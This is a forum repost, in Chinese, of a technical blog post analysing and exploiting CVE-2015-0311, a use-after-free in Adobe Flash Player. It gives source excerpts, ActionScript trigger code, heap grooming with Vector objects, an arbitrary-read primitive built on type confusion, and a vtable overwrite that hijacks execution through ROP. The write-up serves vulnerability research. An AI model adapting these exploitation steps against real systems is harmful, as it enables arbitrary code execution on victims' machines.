阅读:3311回复:0
Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player
◆0 前言
作者:Francisco Falcón 题目:Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player 地址:http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/ 一月末,Adobe发布了Flash Player的APSA15-01安全公告,此公告修复了一个可影响FlashPlayer 16.0.0.287及之前版本的重要UAF漏洞(被确认为CVE-2015-0311)。攻击者通过诱使不知情用户访问一个包含有精心构造的恶意SWF Flash文件的网页,可在具有该漏洞的用户主机上执行任意代码。 该漏洞最早是作为一个被积极利用的零day在Angler Exploit Kit中被发现的。尽管利用代码用SecureSWF混淆工具高度混淆过,利用该漏洞的恶意软件样本还是变得公开可用,因此我决定深入底层研究该漏洞,完成漏洞利用并将相关模块写到Core Impact Pro和Core Insight中。 ◆1 漏洞概览 当尝试解压缩用ActionScript中的zlib压缩过的ByteArray中的数据时,底层的ActionScript虚拟机(AVM)会在ByteArray::UncompressViaZlibVariant方法中处理该操作。该方法利用ByteArray::Grower类来动态增加存放解压缩数据的目标缓冲区的大小。 当成功增加了目标缓冲区后,Grower类的析构函数就会通知所有的ByteArray(压缩过的)的使用者必须使用增加后的缓冲区。全局属性ApplicationDomain.currentDomain.domainMemory就是ByteArray的一个使用者,该属性可以被设置为一个给定ByteArray的全局引用。引入ApplicationDomain.currentDomain.domainMemory的目的是通过使用avm2.intrinsics.memory包的底层AVM指令(如li8/si8, li16/si16, li32/si32),实现对ByteArray中的实际数据的快速读写操作。 当ByteArray中的数据不是合法的zlib压缩数据时,zlib库中的inflate()函数就会失败,从而引出我们接下来要讨论的一个问题。在执行失败的情况下,ByteArray::UncompressViaZlibVariant() 方法会通过释放掉增长的缓冲区并重置ByteArray的原始数据来执行回滚操作。 然而问题是,该方法并不通知使用者(ApplicationDomain.currentDomain.domainMemory)增长的缓冲区已经被释放掉,因此ApplicationDomain.currentDomain.domainMemory会继续保有一个指向已释放缓冲区的悬垂引用。 ◆2 根源分析 让我们到AVM虚拟机的源码中看下,在AS代码中调用ByteArray对象的uncompress()方法时到底会发生什么。 当尝试解压缩ByteArray的数据时,AVM提供的ByteArray::Uncompress()方法(在core/ByteArrayGlue.cpp中定义)会根据数据的压缩算法调用一个相应的解压缩函数。我们接下来重点看下zlib压缩的情况。 #!c++void ByteArray::Uncompress(CompressionAlgorithm algorithm){ switch (algorithm) { case k_lzma: UncompressViaLzma(); break; case k_zlib: default: UncompressViaZlibVariant(algorithm); break; }ByteArray::UncompressViaZlibVariant()通过在循环中调用zlib库中的inflate()函数,来分块解压缩ByteArray中的数据,如下面的代码片段所示: #!c++void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm){ [...] while (error == Z_OK) { stream.next_out = scratch; stream.avail_out = kScratchSize; error = inflate(&stream, Z_NO_FLUSH); Write(scratch, kScratchSize - stream.avail_out); } inflateEnd(&stream); [...]调用完zlib库的inflate()函数后,ByteArray的Write()方法就将解压缩后的块数据写入目的缓冲区中: #!c++void ByteArray::Write(const void* buffer, uint32_t count){ if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow ThrowMemoryError(); uint32_t writeEnd = m_position + count; Grower grower(this, writeEnd); grower.EnsureWritableCapacity(); move_or_copy(m_buffer->array + m_position, buffer, count); m_position += count; if (m_buffer->length < m_position) m_buffer->length = m_position;}如上所示,该方法创建了Grower类的一个实例,然后通过调用实例的EnsureWritableCapacity()方法增加目标缓冲区的大小。Grower实例的范围仅限ByteArray::Write()方法中局部调用,因此当Write()方法执行完后,Grower类的析构函数就会默认被立刻调用。 下面是Grower类析构函数的部分代码。它调用了ByteArray类的NotifySubscribers()方法: #!c++ByteArray::Grower::~Grower(){ if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length){ m_owner->NotifySubscribers();}[...]ByteArray::NotifySubscribers()遍历ByteArray的所有使用者,并调用使用者对象的notifyGlobalMemoryChanged()方法来通知它们新增加的缓冲区地址和大小的改变: #!c++voidByteArray::NotifySubscribers(){ for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i) { AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE); DomainEnv* subscriber = m_subscribers.get(i); if (subscriber) { subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length); } else { // Domain went away? remove link m_subscribers.removeAt(i); --i; } }}最后,DomainEnv::notifyGlobalMemoryChanged()方法会更新全局内存缓冲区的地址和大小。该方法真正改变ApplicationDomain.currentDomain.domainMemory的地址和大小: #!c++// memory changed so go through and update all reference to both the base// and the size of the global memoryvoidDomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize){ AvmAssert(newBase != NULL); // real base address AvmAssert(newSize>= GLOBAL_MEMORY_MIN_SIZE); // big enough m_globalMemoryBase = newBase; m_globalMemorySize = (newSize> 0x7fffffff) ?0x7fffffff :newSize; TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024);}在所有这些调用链完成后,回到ByteArray::UncompressViaZlibVariant()方法的 ”inflate()和Write()”的循环中。如果循环中某个inflate()调用返回一个非0值,循环就会退出,同时会运行一个检查来判断数据有没有被完全解压缩。如果某处出错,就会执行一个回滚操作:调用TellGcDeleteBufferMemory() / mmfx_delete_array() 来释放掉新的内存,同时重置回原始ByteArray数据,如下所示: #!c++[...]if (error == Z_STREAM_END) { // everything is cool [...]else { // When we error: // 1) free the new bufferTellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);mmfx_delete_array(m_buffer->array);if (cShared) { m_buffer = origBuffer; } // 2) put the original data back.m_buffer->array = origData;m_buffer->length = origLen;m_buffer->capacity = origCap;m_position = origPos;SetCopyOnWriteOwner(origCopyOnWriteOwner);origBuffer = NULL; // release ref before throwingtoplevel()->throwIOError(kCompressedDataError); }但是请注意:这里并没有任何操作通知使用者新的缓冲区已经被释放!因此,即使由于解压缩操作失败而导致新缓冲区被释放,ApplicationDomain.currentDomain.domainMemory 还是会保留新缓冲区的一个引用。我们稍后会间接引用该悬垂指针,因此这是一个use-after-free(UAF)漏洞。 ◆3 触发UAF 可以通过以下步骤来重现产生悬垂指针的情况:先向ByteArray添加数据,再用zlib压缩,然后在0x200偏移位置用垃圾数据覆盖掉原来的压缩数据,然后将此ByteArray指派给ApplicationDomain.currentDomain.domainMemory以创建ByteArray的使用者,最后调用ByteArray的uncompress()方法。 为什么要从从0x200位置开始覆盖压缩数据呢?这是因为在ByteArray的开始位置保留一些合法的压缩数据可以保证第一次对inflate()的调用成功;而且这样ByteArray::Write()方法也会正常创建Grower类的实例,该实例会为保存解压缩的数据增加目标缓冲区的长度,并通知所有的使用者可以使用新增长的缓冲区了。 循环中,第二次调用“inflate()和Write()”时,inflate()函数会尝试解压缩我们构造的垃圾数据,因此一定会失败。然后ByteArray::UncompressViaZlibVariant()就会执行回滚操作,释放掉新增加的缓冲区,但同时却不会通知ByteArray的所有使用者,所以就产生了悬垂指针。 下面的ActionScript代码片段可以重现该漏洞,使ApplicationDomain.currentDomain.domainMemory引用已释放缓冲区: #!c++this.byte_array = new ByteArray();this.byte_array.endian = Endian.LITTLE_ENDIAN;this.byte_array.position = 0;/* Initialize the ByteArray with some data */while (count < 0x2000 / 4){this.byte_array.writeUnsignedInt(0xfeedface + count);count++;}/* Compress it with zlib */this.byte_array.compress();/* Overwrite the compressed data with junk, starting at offset 0x200 */this.byte_array.position = 0x200;while (pos < byte_array.length){this.byte_array.writeByte(pos);pos++;}/* Create a subscriber for that ByteArray */ApplicationDomain.currentDomain.domainMemory = this.byte_array;/* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemorypointing to a buffer that is freed when the decompression fails. */try{this.byte_array.uncompress();} catch(error:Error){}因此,就从这一点来说,我们已经令ApplicationDomain.currentDomain.domainMemory引用了已释放的内存,而ApplicationDomain.currentDomain.domainMemory的引用也是ByteArray类型的。我们尝试使用它的一些高层方法时,虽然好像是在操作一个合法的ByteArray,但实际上其操作的数据是错误的压缩数据。 我们回过头来再来看一下AVM虚拟机的源代码,并回想一下DomainEnv::notifyGlobalMemoryChanged()方法是如何更新全局内存缓冲区的地址和大小的: #!c++m_globalMemoryBase = newBase;m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;m_globalMemoryBase(悬垂指针自身)和m_globalMemorySize都是DomainEnv类(core/DomainEnv.h)的成员。这些成员通过Getter方法来访问: #!c++REALLY_INLINE uint8_t* globalMemoryBase() const { return m_globalMemoryBase; }REALLY_INLINE uint32_t globalMemorySize() const { return m_globalMemorySize; }到AVM的源代码中搜索下这两个Getter方法,我们可以在core/Interpreter.cpp文件中找到: #!c++#define MOPS_LOAD_INT(addr, type, call, result)MOPS_RANGE_CHECK(addr, type)union { const uint8_t* p8; const type* p; };p8 = envDomain->globalMemoryBase() + (addr);result = *p;#define MOPS_STORE_INT(addr, type, call, value)MOPS_RANGE_CHECK(addr, type)union { uint8_t* p8; type* p; };p8 = envDomain->globalMemoryBase() + (addr);*p = (type)(value);这两个宏也在同一个core/Interpreter.cpp文件中被使用: #!c++INSTR(li32) {i1 = AvmCore::integer(sp[0]); // i1 = addrMOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = resultsp[0] = core->intToAtom(i32l);NEXT;}[...]INSTR(si32) {i32l = AvmCore::integer(sp[-1]);// i32l = valuei1 = AvmCore::integer(sp[0]); // i1 = addrMOPS_STORE_INT(i1, uint32_t, si32, i32l);sp -= 2;NEXT;}就是这样!为了间接引用悬垂指针,我们需要使用avm2.intrinsics.memory包中的底层AVM指令,如 li8/si8, li16/si16, li32/si32等。这些指令,通过与ApplicationDomain.currentDomain.domainMemory的配合,能够提供对包含有ByteArray实际数据的底层原始缓冲区的快速读写操作,而跳过使用ByteArray类高层方法的开销。 li8/si8, li16/si16, li32/si32等指令隐式操作ApplicationDomain.currentDomain.domainMemory,如下面的ActionScript代码片段所示: #!c++/* Read a 32-bit integer from m_globalMemoryBase + 0x20 */var some_value:uint = li32(0x20);/* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */si32(0xffffffff, 0x20);◆4 漏洞利用 为了达成对该漏洞的利用,在Web浏览器里调试含有该漏洞的Adobe Flash Player版本时,将需要在“inflate() and Write()”循环开始处设置断点: 图片:2015033106364757050.png 第一次断点被命中后,通过跟踪ByteArray::Write()的调用直到DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的。如下是Flash OCX二进制文件中的notifyGlobalMemoryChanged()方法: 图片:2015033106364757050.png [EDX+0x14]保存了新缓冲区的地址,[EDX+0x18]则保存了新缓冲区的大小。 在我的测试环境中,ApplicationDomain.currentDomain.domainMemory更新为下图所示的值:缓冲区地址为◆a98c000,缓冲区大小为0x1c32。 图片:2015033106364757050.png 第二次调用inflate()将会触发失败,失败代码为0xfffffffb,因此执行流进入回滚程序(命名为cleanup_on_uncompress_error的): 图片:2015033106364757050.png 步入该函数中,我们可以看到它是通过调用TellGcDeleteBufferMemory()来释放缓冲区的: 图片:2015033106364757050.png 图片:2015033106364757050.png 注意到TellGcDeleteBufferMemory()的参数是◆a98c000 (缓冲区地址) 和0x200f。此处0x200f是缓冲区的容量,是与缓冲区长度不同的(长度是0x1C32,如上面的截屏所示)。从core/ByteArrayGlue.h文件中可以看到: #!c++class Buffer : public FixedHeapRCObject{public: virtual void destroy(); virtual ~Buffer(); uint8_t* array; uint32_t capacity; uint32_t length;};Buffer.capacity是缓冲区可容纳的最大字节数(本例中为0x200f),而Buffer.length是实际使用的字节数(本例中为0x1C32),其不同之处就在于此。 调用完TellGcDeleteBufferMemory()之后,它立即调用了mmfx_delete_array()来完成缓冲区的释放操作。 图片:2015033106364757050.png 既然缓冲区已经释放掉了,我们将在此缓冲区留下的内存“空洞”中分配一个有趣的对象。我使用了跟恶意样本中一样的方法来完成的,就是,创建一个新的占位ByteArray,其大小设为0x2000,然后通过调用其clear()方法释放掉该对象,最后再创建一个Vector. (510*3)对象。 这意味着,在这一点上,我们已经令ApplicationDomain.currentDomain.domainMemory(应该指向包含ByteArray真实数据的原始缓冲区)指向了一个Vector对象的起始处!因为我们可以通过利用像li32/si32这样的AVM指令在ApplicationDomain.currentDomain.domainMemory指向的内存中执行读写操作,我们就可以根据需要来读和修改Vector对象,包括它的元数据! 下图展示了触发bug后的期待状态与实际状态的不同,以及在缓冲区释放造成的内存空洞中的Vector对象的分配情况: 图片:2015033106364757050.png ◆5 篡改Vector对象 Vector对象的内存布局如下: $ ==> 00010C00$+4 00001FE0$+8 08238000$+C 082FA248$+10 0793C000$+14 09B8E018 $+18 00000010$+1C 00000000$+20 .vtable 61199418 OFFSET -> Overwrite it to hijack the execution flow$+24 .length 000005FA -> Overwrite it with 0xffffffff so you can read/write from/to any memory address$+28 .elements[] 07A86BA1 the_vector[0]$+2C 07A86BA1 the_vector[1]$+30 07A86BA1 the_vector[2]... xxxxxxxx the_vector[n]通过执行li32(0x20) 我们可以读取到Vector对象0x20偏移处的dword数据,这里是其虚函数表(vtable);而能读到虚函数表的地址就足以确定Flash模块的基地址,因此也就可以绕过ASLR。 通过执行si32(0xffffffff,0x24),我们可以覆盖掉保存在Vector对象0x24偏移处的dword数据,该数据是对象的长度。设置这样新的长度(0xffffffff)将允许我们在需要时读/写浏览器进程空间中任意内存地址的数据---|||---|||其实在Windows 7 SP1下完成漏洞利用并不需要修改Vector的长度。 然后我们以ByteArray的形式构造ROP链,并将其保存为Vector的第一个element(不覆盖任何元数据)。 这个包含了我们构造的ROP链的ByteArray对象被存储为一个tagged pointer,那什么是tagged pointer呢?为增加指针所能存储的信息,Flash用指针的最后三个没有什么意义的bit来表示其自身的类型信息(摘自Haifei Li’s presentation from CanSecWest 2011),这种修改后的指针就是tagged pointer: Untagged = 000 (0)Object = 001 (1)String = 010 (2)Namespace = 011 (3)"undefined" = 100 (4)Boolean = 101 (5)Integer = 110 (6)Number = 111 (7)现在可以通过执行li32(0x28)来泄露出我们构造的ROP链(ByteArray对象)的地址---|||也就是执行一个原始的读操作,来读取Vector的第一个element,然后将读取到的tagged pointer再通过“address & 0xfffffff8”这样的按位与操作untag掉。 已经得到泄露出的ROP链(ByteArray对象)的指针后,我们接下来再去读取ByteArray对象0x40偏移处存放的DWORD数据,此处的DWORD是指向一个ByteArray::Buffer对象的指针。下面是所引用ByteArray对象的内存布局: $ ==> 71078F10 OFFSET $+4 00000002$+8 069CFDD0$+C 0697E628$+10 06831360$+14 00000040$+18 71078EB8 Flash32_.71078EB8$+1C 71078EC0 Flash32_.71078EC0$+20 71078EB4 Flash32_.71078EB4$+24 710BD534 Flash32_.710BD534$+28 06603080$+2C 06432000$+30 0688EFB8$+34 00000000$+38 00000000$+3C 7108ACC8 Flash32_.7108ACC8$+40 0686D5D8 $+44 00000000为读到存储在ByteArray对象0x40偏移处的dword,我决定使用Vupen的Nocolas Joly提出的一种利用技术,该技术通过修改(tagging)一个指针以使其按照Number(IEEE-754 double precision)类型来解析,从而产生一个类型混乱,该类型混乱会为我们提供一个默认基本数据类型,通过它可以读取任意地址的8字节数据。大概过程如下: 首先我们把我们将想要读取数据的地址修改为一个Number对象指针(将地址按位或上7--见上面的类型对应表),这样我们就成功地创建了一个类型混乱;然后我们通过执行si32(fake_number_object,0x2c)指令,将此指向Number对象的伪造指针存放到Vector的element[]数组中。 之后,我们读取伪造的Number对象(下方代码中的this.the_vector1)的值,并将其写入到一个备用ByteArray中;通过这种方法,我们想要读取的地址中的8个字节的数据就被存放到备用ByteArray中了。 #!c++obj = this.the_vector[1];z = new Number(obj);var b:ByteArray = new ByteArray();b.endian = Endian.LITTLE_ENDIAN;b.writeDouble(z);/* If pointer is aligned to 8, then we read the first dword */if ((pointer & 7) == 0){ result = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];}/* else we read the second dword */else{ result = b[7]*0x1000000 + b[6]*0x10000 + b[5]*0x100 + b[4];}return result;我们使用Number基本类型已经能够读取ByteArray对象0x40偏移处的dword数据,我之前提到过,该dword是指向ByteArray::Buffer的指针,然后我们可以再次使用该基本类型来读取到ByteArray::Buffer对象0x8偏移处的dword值,该dword值正是指向我们ROP链原始数据的指针。如下是ByteArray::Buffer对象的内存布局情况: $==> 63D1945C OFFSET $+4 00000003$+8 .array 06BC5000 $+C .capacity 0000200F$+10 .length 00001C32这样我们就获取到了ROP链的地址(该例子中为◆6BC5000);现在我们只需执行si32(address_of_rop_chain, 0x20)指令,将Vector对象的虚函数表覆盖为我们的ROP链,然后再调用Vector对象的toString()方法,此时被覆盖掉的虚函数表就会被间接引用以调用相应函数指针,而我们也就将执行流程劫持到了我们自己的ROP中,并最终完成任意代码执行: new Number(this.the_vector.toString()); 图片:2015033106364757050.png ◆6 结论 本文中的UAF漏洞可以被用来读取及修改浏览器进程空间中的任意地址数据,允许攻击者绕过操作系统的保护策略如ASLR和DEP,并最终导致任意代码执行。 然而,你应该注意到本篇博文中描述的利用方法只适用于Windows 7 SP1,不适用于Windows 8.1 Update 3(发布于2014年11月)。为什么呢?在Windows 8 Update 3中,微软引入了一种新的缓解漏洞攻击利用的CFG(Control Flow Guard)机制。CFG在所有非直接调用前都插入了一次检查,以验证调用的目的地址是否是编译时被标记为“安全”的位置。运行时插入的验证失败,程序就检测到了破坏正常执行流的尝试并立即自动退出。 而Windows 8.1 Update 3中集成的Flash版本在编译时已启动了CFG机制,因此在攻击利用的最后步骤中,也就是我们尝试将Vector对象的虚函数表覆盖,并调用toString()方法以修改执行流程时,CFG检查函数就会检测到我们的伪造虚函数表,并立即结束进程,从而阻止了我们的攻击尝试。 图片:2015033106364757050.png 这意味着Windows 8.1 Update 3中的Flash漏洞利用引入了新的障碍:CFG保护的绕过。 剧透提醒:我们还是设法绕过了CFG,并在Windows 8.1 Update 3中成功实现了该Flash漏洞的利用。因此请期待下一篇博文,我们将在其中详细解释是如何做到绕过CFG并实现漏洞利用的! |
|